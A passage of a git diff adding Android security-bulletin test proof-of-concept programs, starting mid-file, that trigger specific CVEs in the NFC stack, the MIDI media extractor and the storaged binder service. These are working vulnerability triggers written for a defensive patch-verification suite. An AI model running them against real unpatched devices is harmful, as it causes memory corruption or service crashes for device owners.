+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 30;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0039",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+ p_i93->block_size = 30;
+ p_i93->rw_length = 1;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0381",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0384",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0385",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0330",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+
+ if (not service) {
+ return nullptr;
+ }
+
+ while (userId < kMaxUsers) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeInt32(++userId);
+ service->transact(1, data, &reply, 0);
+ }
+
+ return nullptr;
+}
+
+int main() {
+ pthread_t threads[kMaxThreads];
+
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+ }
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_join(threads[t], nullptr);
+ }
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+ if (service) {
+ break;
+ }
+ sleep(kSleepDuration);
+ }
+
+ return EXIT_SUCCESS;
+}
